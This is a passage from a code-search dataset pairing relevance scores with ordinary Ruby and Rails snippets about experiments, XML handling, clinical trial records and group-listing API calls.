"0.46650502", "text": "def response_xml\r\n @sess.DoRequests(@request_set).ToXMLString\r\n end", "title": "" }, { "docid": "ebdc9fc05d901fc7c8c55bda235151ff", "score": "0.46614325", "text": "def index\n validate(\n experiment_id: [:optional, :security_default]\n )\n\n render 'infrastructure/index', locals: { experiment_id: params[:experiment_id].to_s }\n end", "title": "" }, { "docid": "856279eafe38b7131deb37b9b3ad4b48", "score": "0.46597967", "text": "def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "856279eafe38b7131deb37b9b3ad4b48", "score": "0.46597967", "text": "def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "856279eafe38b7131deb37b9b3ad4b48", "score": "0.46597967", "text": "def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cf9ea81d91aa19ba1662b0a38ff98224", "score": "0.46596953", "text": "def post_config(url_prefix, xml)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.body = xml\n request.content_type = 'application/xml'\n response = http.request(request)\n response.code\n end", "title": "" }, { "docid": "21299599ee9df338450f8543a7c87cfe", "score": "0.46505806", "text": "def destroy\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to(experiments_url) }\n format.xml { head :ok }\n format.js\t { head :ok }\n end\n\n end", "title": "" }, { "docid": "3c492393a66b1e98ef4e279ea57ce7b1", "score": "0.46482772", "text": "def create_trial_from_xml(trial_xml)\n trial = Trial.new\n trial[:org_study_id] = trial_xml.xpath(\"//id_info//org_study_id\").text\n trial[:secondary_id] = trial_xml.xpath(\"//id_info//secondary_id\").text\n trial[:nct_id] = trial_xml.xpath(\"//nct_id\").text\n trial[:nct_alias] = trial_xml.xpath(\"//nct_alias\").text\n trial[:brief_title] = trial_xml.xpath(\"//brief_title\").text\n trial[:official_title] = trial_xml.xpath(\"//official_title\").text\n trial[:lead_sponsor_name] = trial_xml.xpath(\"//sponsors//lead_sponsor//agency\").text\n trial[:lead_sponsor_class] = trial_xml.xpath(\"//sponsors//lead_sponsor//agency_class\").text\n trial[:brief_summary] = trial_xml.xpath(\"//brief_summary//textblock\").text\n trial[:detailed_description] = trial_xml.xpath(\"//detailed_description//textblock\").text\n trial[:overall_status] = trial_xml.xpath(\"//overall_status\").text\n trial[:start_date] = trial_xml.xpath(\"//start_date\").text\n trial[:phase] = trial_xml.xpath(\"//phase\").text\n trial[:study_type] = trial_xml.xpath(\"//study_type\").text\n trial[:study_design] = trial_xml.xpath(\"//study_design\").text\n trial[:primary_outcome_measure] = trial_xml.xpath(\"//primary_outcome//measure\").text\n trial[:primary_outcome_time_frame] = trial_xml.xpath(\"//primary_outcome//time_frame\").text\n trial[:primary_outcome_safety_issue] = trial_xml.xpath(\"//primary_outcome//safety_issue\").text\n trial[:secondary_outcome_measure] = trial_xml.xpath(\"//secondary_outcome//measure\").text\n trial[:secondary_outcome_time_frame] = trial_xml.xpath(\"//secondary_outcome//time_frame\").text\n trial[:secondary_outcome_safety_issue] = trial_xml.xpath(\"//secondary_outcome//safety_issue\").text\n trial[:number_of_groups] = trial_xml.xpath(\"//number_of_arms\").text\n trial[:enrollment] = trial_xml.xpath(\"//enrollment\").text\n trial[:condition] = trial_xml.xpath(\"//condition\").text\n trial[:arm_group_label] = trial_xml.xpath(\"//arm_group//arm_group_label\").text\n trial[:arm_group_description] = trial_xml.xpath(\"//arm_group//description\").text\n trial[:eligibility_criteria_text] = trial_xml.xpath(\"//eligibility//criteria//textblock\").text\n trial[:gender] = trial_xml.xpath(\"//eligibility//gender\").text\n trial[:minimum_age] = clean_raw_age(trial_xml.xpath(\"//eligibility//minimum_age\").text, \"0\")\n trial[:maximum_age] = clean_raw_age(trial_xml.xpath(\"//eligibility//maximum_age\").text, \"150\")\n trial[:overall_official_name] = trial_xml.xpath(\"//overall_official//last_name\").text\n trial[:overall_official_role] = trial_xml.xpath(\"//overall_official//role\").text\n trial[:overall_official_affiliation] = trial_xml.xpath(\"//overall_official//affiliation\").text\n trial[:overall_contact_name] = trial_xml.xpath(\"//overall_contact//last_name\").text\n trial[:overall_contact_email] = trial_xml.xpath(\"//overall_contact//email\").text\n trial[:overall_contact_phone] = trial_xml.xpath(\"//overall_contact//phone\").text\n trial[:results_reference_citation] = trial_xml.xpath(\"//results_reference//citation\").text\n trial[:results_reference_PMID] = trial_xml.xpath(\"//results_reference//pmid\").text\n trial[:verification_date] = trial_xml.xpath(\"//verification_date\").text\n trial[:lastchanged_date] = trial_xml.xpath(\"//lastchanged_date\").text\n trial[:firstreceived_date] = trial_xml.xpath(\"//firstreceived_date\").text\n trial[:responsible_party_type] = trial_xml.xpath(\"//responsible_party_type\").text\n trial[:keyword] = trial_xml.xpath(\"//keyword\").text\n trial[:is_fda_regulated] = trial_xml.xpath(\"//is_fda_regulated\").text\n trial[:has_expanded_access] = trial_xml.xpath(\"//has_expanded_access\").text\n trial[:condition_browse_mesh_term] = trial_xml.xpath(\"//condition_browse//mesh_term\").text\n trial.save\n trial\nend", "title": "" }, { "docid": "1e2d0724e2981f82777f41548e5f861c", "score": "0.46298897", "text": "def test_should_create_project_via_API_XML\r\n get \"/logout\"\r\n post \"/projects.xml\", :api_key=>'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n end", "title": "" }, { "docid": "7e1e895d7f7fd63d250cee79d3058b07", "score": "0.46288785", "text": "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\treturn \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\tend", "title": "" }, { "docid": "bb1b9be442f6ca7a91159c2e372ce285", "score": "0.46056625", "text": "def request(path, parameters = {})\n response = Basecamp.connection.post(path, convert_body(parameters), \"Content-Type\" => content_type)\n\n if response.code.to_i / 100 == 2\n result = XmlSimple.xml_in(response.body, 'keeproot' => true, 'contentkey' => '__content__', 'forcecontent' => true)\n typecast_value(result)\n else\n raise \"#{response.message} (#{response.code})\"\n end\n end", "title": "" }, { "docid": "a604bbfea20efcc397ccc84e27c4f13a", "score": "0.45967388", "text": "def create\n @experiment = Experiment.new(params[:experiment])\n \n @experiment.user = current_user\n page_group(@experiment.user.group)\n \n location = Location.obfuscated(params[:location_id])\n @experiment.location = location\n calendar = GoogleCalendar.obfuscated(params[:calendar_id])\n @experiment.google_calendar = calendar\n respond_to do |format|\n if @experiment.save\n flash[:notice] = 'Experiment was successfully created.'\n format.html { redirect_to(:controller => :experiments, :action => :show, :id => @experiment.hashed_id) }\n format.xml { render :xml => @experiment, :status => :created, :location => @experiment }\n else\n @calendars = self.calendars_select_array()\n @locations = self.locations_select_array()\n self.use_markdown_editor = true\n \n format.html { render :action => \"new\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0f5ec90b9766dac4a6a8cb415cbc88d", "score": "0.4588412", "text": "def send_evaluate_prop\n task = @proposal.evaluate_proposals.create\n task.workbench = Organization.find params[:organization][:organization_id]\n task.save\n redirect_to :action => \"pending\"\n end", "title": "" }, { "docid": "df795e81171a207d1e95c06f4e185258", "score": "0.45864427", "text": "def question(data)\n xml = xml_root(\"questions\")\n\n arrayed(data).each do |name|\n xml.root << (XML::Node.new(\"question\") << name)\n end\n\n send_and_process('questions/add', 'questions/question', xml)\n end", "title": "" }, { "docid": "24acc658c97db6e40bf4476cf40eaf45", "score": "0.45736963", "text": "def new\n #\n # Grab the directory number in link from email, check against email address and code in link\n #\n # Open page and load from directory\n #\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @experiment }\n end\n end", "title": "" }, { "docid": "615b0a60f00ef23eb4e64af0083a6fa6", "score": "0.45707208", "text": "def create\n @dataset = Dataset.new(params[:dataset])\n prep_dataset_form\n @dataset.save!\n publish_press_item(\"New dataset added: #{@dataset.title}\")\n\n respond_to do |wants|\n flash[:notice] = 'Dataset was successfully created.'\n wants.html { redirect_to(@dataset) }\n wants.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n end\n end", "title": "" }, { "docid": "11413b7fe699eadf1113e5b4100412a4", "score": "0.4566957", "text": "def list_experiments\n @interface.list_experiments\n end", "title": "" }, { "docid": "904a7a61126d0927593847e0586ad147", "score": "0.45629406", "text": "def test_run_xml_input\n T2Server::Run.create($uri, WKF_XML, $creds, $conn_params) do |run|\n run.input_port(\"xml\").value =\n \"<hello><yes>hello</yes><no>everybody</no><yes>world</yes></hello>\"\n run.input_port(\"xpath\").value = \"//yes\"\n run.start\n run.wait\n assert_equal(run.output_port(\"nodes\").value, [\"hello\", \"world\"])\n assert(run.delete)\n end\n end", "title": "" }, { "docid": "cd66803e0c1f775e1fef092c0e1aad5a", "score": "0.45581123", "text": "def create\n @experiment = Experiment.new\n @experiment.user_id = current_user.id\n @instruction = Instruction.new(instruction_params)\n @instruction.experiment_id = @experiment.id\n if @instruction.save\n redirect_to @instruction, notice: 'Instruction was successfully created.'\n else\n render :new\n end\n end", "title": "" }, { "docid": "b07451c48963873a9ecb1f7769956fc7", "score": "0.45547643", "text": "def experiment_params\n params.require(:experiment).permit(:name, :location, :start, :end, :details,\n :co2_cutoff).merge(user_id: current_user.id)\n #{:device_ids => []}, # If this is included, ActiveRecord deletes the devices that don't have data submitted for them on update.\n end", "title": "" }, { "docid": "a0ac7c298dfd8f26df8a6f1e27f26ee6", "score": "0.45536396", "text": "def do_request(homework)\n uri = URI.parse('https://webhook.site/1e9a10c7-54e0-414b-a1a7-3a7dad38c56d')\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json')\n req.body = {\n homework_source: homework.source_code,\n student: fullname,\n pr_title: homework.pr_title\n }.to_json\n http.request(req)\n end", "title": "" }, { "docid": "14309890827cb86d3af7e2fae86aa2dc", "score": "0.4548103", "text": "def set_experiment\n @experiment = Experiment.find(params[:id])\n end", "title": "" }, { "docid": "14309890827cb86d3af7e2fae86aa2dc", "score": "0.4548103", "text": "def set_experiment\n @experiment = Experiment.find(params[:id])\n end", "title": "" }, { "docid": "14309890827cb86d3af7e2fae86aa2dc", "score": "0.4548103", "text": "def set_experiment\n @experiment = Experiment.find(params[:id])\n end", "title": "" }, { "docid": "542eb22e75573dda401a60a2409a6c8a", "score": "0.45478034", "text": "def create\n @work_exp = WorkExp.new(work_exp_params)\n\n respond_to do |format|\n if @work_exp.save\n format.html { redirect_to @work_exp, notice: 'Work exp was successfully created.' }\n format.json { render :show, status: :created, location: @work_exp }\n else\n format.html { render :new }\n format.json { render json: @work_exp.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3a7250855b6374bc02b8957b48f51bb", "score": "0.45436278", "text": "def create_mod\n if params[:title] != nil && params[:content] != nil && params[:subId] != nil && params[:userId] != nil && params[:groupId] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n @question.subId = params[:subId].to_i\n @question.userId = params[:userId].to_i\n @question.groupId = params[:groupId].to_i\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/createQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully created\"\n redirect_to questions_path\n\n end\n end", "title": "" }, { "docid": "35329e4a8a02167e20c6f7ada826cefe", "score": "0.4539818", "text": "def new\n logger.debug \"::::::::::::::::::::microarray experiment create new (\" + current_user.name + \"):::::::::::::::::::: \"\n \n @experiment = Experiment.new\n @title = \"Microarray experiments\"\n\n @mg_c = Microarraygal.count()\n if @mg_c.nil? or @mg_c == 0\n flash[:error] = \"No microarraygal found! create first someone...\"\n redirect_to :action => \"index\"\n return\n end\n \n @partners = Partner.find(:all)\n @pt = get_partner\n if @pt.nil?\n @mg = Microarraygal.all()\n @gp = Microarraygpr.all()\n @img = MicroArrayImage.all() \n else\n @mg = Microarraygal.all(:conditions => [ \"partner_id = ?\", @pt.id])\n @gp = Microarraygpr.all(:conditions => [ \"partner_id = ?\", @pt.id])\n @img = MicroArrayImage.all(:conditions => [ \"partner_id = ?\", @pt.id])\n @experiment.partner_id = @pt.id\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @experiment }\n end\n end", "title": "" } ]
4619b8a0c53553601ef10ce07052c41a
List ContainerGroups for ContainerNode Returns an array of ContainerGroup objects
[ { "docid": "9f166f9dfdadcdbe72b8e18dcc8f03d6", "score": "0.0", "text": "def list_container_node_container_groups_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_container_node_container_groups ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.list_container_node_container_groups\"\n end\n pattern = Regexp.new(/^\\d+$/)\n if @api_client.config.client_side_validation && id !~ pattern\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.list_container_node_container_groups, must conform to the pattern #{pattern}.\"\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_container_node_container_groups, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_container_node_container_groups, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling DefaultApi.list_container_node_container_groups, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/container_nodes/{id}/container_groups'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'ContainerGroupsCollection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['UserSecurity']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_container_node_container_groups\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "aa70499747aae688ff67b7cc5ed4f4f1", "score": "0.8086495", "text": "def groups\n all_groups = []\n\n @containers.each do |container|\n all_groups += container.groups\n end\n\n all_groups\n end", "title": "" }, { "docid": "f505d120f09c1f48e5dbad15ebf5b9de", "score": "0.71480036", "text": "def list_groups\n perform_request(action: 'listnodegroups')\n\n # return list of node groups with numeric values excluded\n returned_parameters['nodegroups'].to_s.split(',').map {|group| group.split('|')[1]}\n end", "title": "" }, { "docid": "920e4d7cefd7355f8c46ad3fe135ac9d", "score": "0.71005076", "text": "def list_groups\n nessus_rest_get('groups')['groups'] || []\n end", "title": "" }, { "docid": "e2eb89fb88d25a371d187baf323d8c5d", "score": "0.7026158", "text": "def groups\n @cluster.list_groups\n end", "title": "" }, { "docid": "5723343460c10c73f87337cee2b8cb9a", "score": "0.69630885", "text": "def groups\n res = @conn.get 'groups.list', token: @api_token\n Array(JSON.parse(res.body)['groups'])\n end", "title": "" }, { "docid": "bd0c6fce18337c789b189a3c890f8adb", "score": "0.68280995", "text": "def list_container_groups_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_container_groups ...'\n end\n # resource path\n local_var_path = '/container_groups'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['UserSecurity']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<ContainerGroup>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_container_groups\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "9aac1eb9335c4e1095d7b2689963d692", "score": "0.67493397", "text": "def groups\n find('child::*[local-name()=\"group\"]').map { |g| g.content }\n end", "title": "" }, { "docid": "4ac2dd39dbb5357ca8744faff1bebbc2", "score": "0.67367554", "text": "def machine_groups_list\n url = \"#{@sal_url}/api/v2/machine_groups/\"\n pg_clc(url) == 1 ? json_resp_body(url)['results'] : paginator(url, pg_clc(url))\n end", "title": "" }, { "docid": "420a0ae2378c0a1c37367d93202359aa", "score": "0.6686458", "text": "def get_nodegroups_from_node(node)\n payload = { node: node }\n\n api_request(\"nodes/get_nodegroups.php\", payload)\n end", "title": "" }, { "docid": "22971ab7dc14f0fbd395e4df126f6993", "score": "0.6658522", "text": "def listGroups\n @admin.listGroups.map { |g| g.getName }\n end", "title": "" }, { "docid": "788907e5782c91187de83283acf51128", "score": "0.66438395", "text": "def groups\n if self.document && self.document[\"groups\"]\n document[\"groups\"].map { |group| Group.new(group) }\n else\n []\n end\n end", "title": "" }, { "docid": "8b736d43ab6b5a47185676840389019b", "score": "0.6621803", "text": "def list_groups\n @groups = []\n bind_ldap(true) do |ldap_conn|\n ldap_conn.search(@@group_treebase, LDAP::LDAP_SCOPE_SUBTREE, \n \"(cn=*)\") do |entry|\n @groups << entry.to_hash\n end\n end\n @title = \"groups\"\n @groups.sort! { |x,y| x[\"cn\"] <=> y[\"cn\"] }\n end", "title": "" }, { "docid": "8f22ad1999636c59a83c8cdc996034ca", "score": "0.6619346", "text": "def get_groups\n @resource[\"xml.group.list\"].get\n end", "title": "" }, { "docid": "d6ad5b764b68657ebe4bc4eb518294d7", "score": "0.66113144", "text": "def get_groups\n ret = @ds.retrieve_all_groups\n \n return nil if ret.nil?\n \n groups = []\n ret.each do |group|\n groups << group.group_id\n end\n \n return groups\n end", "title": "" }, { "docid": "7e1a78e153e8f25116fb5c17d1238882", "score": "0.6602357", "text": "def groups()\n groups = @groups\n\n groups.each do |g|\n groups.concat(g.groups)\n end\n\n return groups\n end", "title": "" }, { "docid": "5292f49c4badaa4428d6ea519f889df9", "score": "0.6602171", "text": "def list_container_groups(opts = {})\n data, _status_code, _headers = list_container_groups_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "5292f49c4badaa4428d6ea519f889df9", "score": "0.6602171", "text": "def list_container_groups(opts = {})\n data, _status_code, _headers = list_container_groups_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "bd2a69e234e31a4da283af28988ca9fd", "score": "0.66014105", "text": "def get_groups(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n r = @client.post({\n 'action' => 'gethostgroup',\n 'object' => 'host',\n 'values' => name,\n }.to_json)\n\n groups = []\n JSON.parse(r)['result'].each do |data|\n host_group = ::Centreon::HostGroup.new\n host_group.id = data['id'].to_i\n host_group.name = data['name']\n groups << host_group\n end\n\n groups\n end", "title": "" }, { "docid": "0c033c6eef8638f14494fb42dafb78e6", "score": "0.6588902", "text": "def groups_list\n request method: :get,\n url: @base_url + 'components/groups'\n end", "title": "" }, { "docid": "4eece27c4818226fdf7af45da42779ec", "score": "0.6578189", "text": "def list request_pb, options:, &block\n request_json = JSON.parse ::Google::Cloud::Compute::V1::ListNodeGroupsRequest.encode_json(request_pb)\n\n uri = \"/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/nodeGroups\"\n\n result_json = @client_stub.make_get_request(\n uri: uri,\n options: options,\n &block\n )\n\n ::Google::Cloud::Compute::V1::NodeGroupList.decode_json result_json[:body], { ignore_unknown_fields: true }\n end", "title": "" }, { "docid": "ad4ee9d4e24a67b53cce628951a03cb4", "score": "0.65678257", "text": "def groups\n list.groups\n end", "title": "" }, { "docid": "7c11161bb7e4eea99145f9bb5be84fdc", "score": "0.6561882", "text": "def groups\n java_import org.dspace.eperson.Group;\n return Group.allMemberGroups(DSpace.context, @obj);\n end", "title": "" }, { "docid": "c19f5deec9949c5b7ee1578335cd368f", "score": "0.6558754", "text": "def groups_list(options={})\n post(\"groups.list\", options)\n end", "title": "" }, { "docid": "c19f5deec9949c5b7ee1578335cd368f", "score": "0.6558754", "text": "def groups_list(options={})\n post(\"groups.list\", options)\n end", "title": "" }, { "docid": "fe0cc0b73a80abbd409c84a8929b400f", "score": "0.65541744", "text": "def list_groups\n request(\n 'Action' => 'ListGroups',\n :parser => Fog::Parsers::AWS::IAM::ListGroups.new\n )\n end", "title": "" }, { "docid": "d06623fdaf15ff6094c3c54c63b4a330", "score": "0.6518696", "text": "def groups\n Hyrax::Group.all\n end", "title": "" }, { "docid": "51485c6429a6227610929db4ef55b99d", "score": "0.6504512", "text": "def get_groups()\n resp = conn.get( '/groups/'+name+'/groups/' )\n \n case resp.code.to_i\n when 200\n groups = Array.new()\n JSON.parse( resp.body ).each{ |groupname|\n groups.push(RestAuthGroup.new( conn, groupname ))\n }\n return groups\n when 404\n raise RestAuthGroupNotFound.new( resp )\n else\n raise RestAuthUnknownStatus.new( resp )\n end\n end", "title": "" }, { "docid": "b9e61df2e4ff9d5c8ea1af9f98cb6547", "score": "0.64850855", "text": "def parse_groups\n groups = []\n while x = parse_group\n groups << x\n end\n groups\n end", "title": "" }, { "docid": "a50e37263919d938ced3090e9a987146", "score": "0.6478306", "text": "def groups\n result = get(\"groups\")\n end", "title": "" }, { "docid": "38f553589ad77feadb639ed06da62bb1", "score": "0.647313", "text": "def groups()\n g = @gesm.get_all('group')\n return g.sort\n end", "title": "" }, { "docid": "e96b29a40c97b221d33c41cbc992d277", "score": "0.64728117", "text": "def list_instance_groups(jobflow_id)\n params = {\n :operation => 'ListInstanceGroups',\n :cluster_id => jobflow_id,\n }\n aws_result = @aws_request.submit(params)\n yield aws_result if block_given?\n JSON.parse(aws_result)\n end", "title": "" }, { "docid": "fdc427dd6b04713a9d2718e525c05871", "score": "0.64658433", "text": "def list\n response = @client.get('groups')\n verify response,\n forbidden: 'You do not have permission to view the groups list'\n end", "title": "" }, { "docid": "00875190e35e31e7ac5544391fc6586f", "score": "0.6452288", "text": "def list_groups request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_groups_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::VMMigration::V1::ListGroupsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "aa85856c62f9fd85538fa0cc4d5da43f", "score": "0.6424881", "text": "def list_containers(options = {})\r\n content = execute(:get, nil, options.merge(:comp => 'list'))\r\n doc = REXML::Document.new(content)\r\n containers = []\r\n REXML::XPath.each(doc, '//Container/') do |item|\r\n containers << { :name => REXML::XPath.first(item, \"Name\").text,\r\n :url => REXML::XPath.first(item, \"Url\").text,\r\n :last_modified => REXML::XPath.first(item, \"LastModified\").text}\r\n end\r\n return containers\r\n end", "title": "" }, { "docid": "e98686ad81edbe352bdb7f5509f97657", "score": "0.64132506", "text": "def get_asset_groups\n _kenna_api_request(:get, \"asset_groups\")\n end", "title": "" }, { "docid": "2945baf3bbd6d5b7094e994c7d71506f", "score": "0.6407401", "text": "def groups\n return @groups.values\n end", "title": "" }, { "docid": "fe4d3106b336926943c500b69f0b51ae", "score": "0.64065456", "text": "def groups\n GroupModelItem.list(self.root)\n end", "title": "" }, { "docid": "86f71d47e43d2664cd782326d901b023", "score": "0.6404282", "text": "def groups\n\t\t\treturn [] if memberOf.nil?\n\t\t\t@groups ||= Group.find(:all, :distinguishedname => @entry.memberOf).delete_if { |g| g.nil? }\n\t\tend", "title": "" }, { "docid": "c2b835fdc8163aefc3ff931237cdf712", "score": "0.6400811", "text": "def all_groups\n response = @connection.get('/groups')\n raise APIError, 'unable to retrieve list of groups from IPManager' unless response.success?\n\n response.body['groups'].map do |group|\n Group.new(key: group['key'], name: group['name'])\n end\n end", "title": "" }, { "docid": "13cc48514ee4c7c41744b5c236d3b3b6", "score": "0.63939303", "text": "def list_rs_groups\n @admin.listRSGroups\n end", "title": "" }, { "docid": "6f900293d53030b26cb8013be6dd78ff", "score": "0.6382844", "text": "def groups()\n return [] if new_record?\n conn.getUserGroups(self.name)\n end", "title": "" }, { "docid": "7d7796a9c772f2190b9f5eeba0460cc8", "score": "0.63771826", "text": "def list(options = {})\n query = options.empty? ? '' : \"?#{URI.encode_www_form(options)}\"\n get(uri: \"/groups/#{query}\")\n end", "title": "" }, { "docid": "e10f41b55ec2e1eb33d677149124d25d", "score": "0.63597554", "text": "def groups\n p = Plumber.new(connections)\n p.groups\n end", "title": "" }, { "docid": "50d0e9c58d3fda33b248d118dd7ccea8", "score": "0.6336698", "text": "def get_groups\n groups\n end", "title": "" }, { "docid": "72eba4528eda35031f426de6e5476e21", "score": "0.6327529", "text": "def list_asset_groups\n r = execute(make_xml('AssetGroupListingRequest'))\n groups = []\n if r.success\n r.res.elements.each('AssetGroupListingResponse/AssetGroupSummary') do |group|\n groups << AssetGroupSummary.new(group.attributes['id'].to_i,\n group.attributes['name'],\n group.attributes['description'],\n group.attributes['riskscore'].to_f,\n group.attributes['dynamic'].to_i == 1)\n end\n end\n groups\n end", "title": "" }, { "docid": "16c433d4ba87f2c02ba3a3d24772120a", "score": "0.63213706", "text": "def groups\n execute(%w[ls-groups]).split(\"\\n\")\n end", "title": "" }, { "docid": "ffaab32c20b56bd272d58a4199b777e1", "score": "0.6317586", "text": "def aggregated_list request_pb, options:, &block\n request_json = JSON.parse ::Google::Cloud::Compute::V1::AggregatedListNodeGroupsRequest.encode_json(request_pb)\n\n uri = \"/compute/v1/projects/#{request_pb.project}/aggregated/nodeGroups\"\n\n result_json = @client_stub.make_get_request(\n uri: uri,\n options: options,\n &block\n )\n\n ::Google::Cloud::Compute::V1::NodeGroupAggregatedList.decode_json result_json[:body], { ignore_unknown_fields: true }\n end", "title": "" }, { "docid": "d82fe5b39e6dca094313bb799a311320", "score": "0.6316668", "text": "def groups\n weakref(:groups) do\n Group.list(\"memberUid=#{name}\")\n end\n end", "title": "" }, { "docid": "67705a7d94a5427eacf0fb76b3f4667f", "score": "0.6304162", "text": "def groups\n array = []\n\n Sys::Admin.groups.each do |grp|\n array << grp.name if grp.members.include?(name)\n end\n\n array\n end", "title": "" }, { "docid": "ff8eb8f54110a2f1d1ba8f3b994d801c", "score": "0.6297193", "text": "def groups(opts = {})\n find_collection(\"groups\", opts)\n end", "title": "" }, { "docid": "10caff41dc7162dae221845d84f32d86", "score": "0.62960917", "text": "def list_container_node_container_groups(id, opts = {})\n data, _status_code, _headers = list_container_node_container_groups_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "10caff41dc7162dae221845d84f32d86", "score": "0.62960917", "text": "def list_container_node_container_groups(id, opts = {})\n data, _status_code, _headers = list_container_node_container_groups_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "86905556d222328a9865b29a6bf90288", "score": "0.6281688", "text": "def groups\n self.children\n end", "title": "" }, { "docid": "c4e7ccb6437de7f26b4c0109e137d287", "score": "0.62747467", "text": "def get_groups\n `id -G #{name}`.split(' ').map {|g| Group.new(g.to_i)}\n end", "title": "" }, { "docid": "40158a306d172d148ad8c9b38846e2eb", "score": "0.6266989", "text": "def retrieve_groups()\n start.uri('/api/group')\n .get()\n .go()\n end", 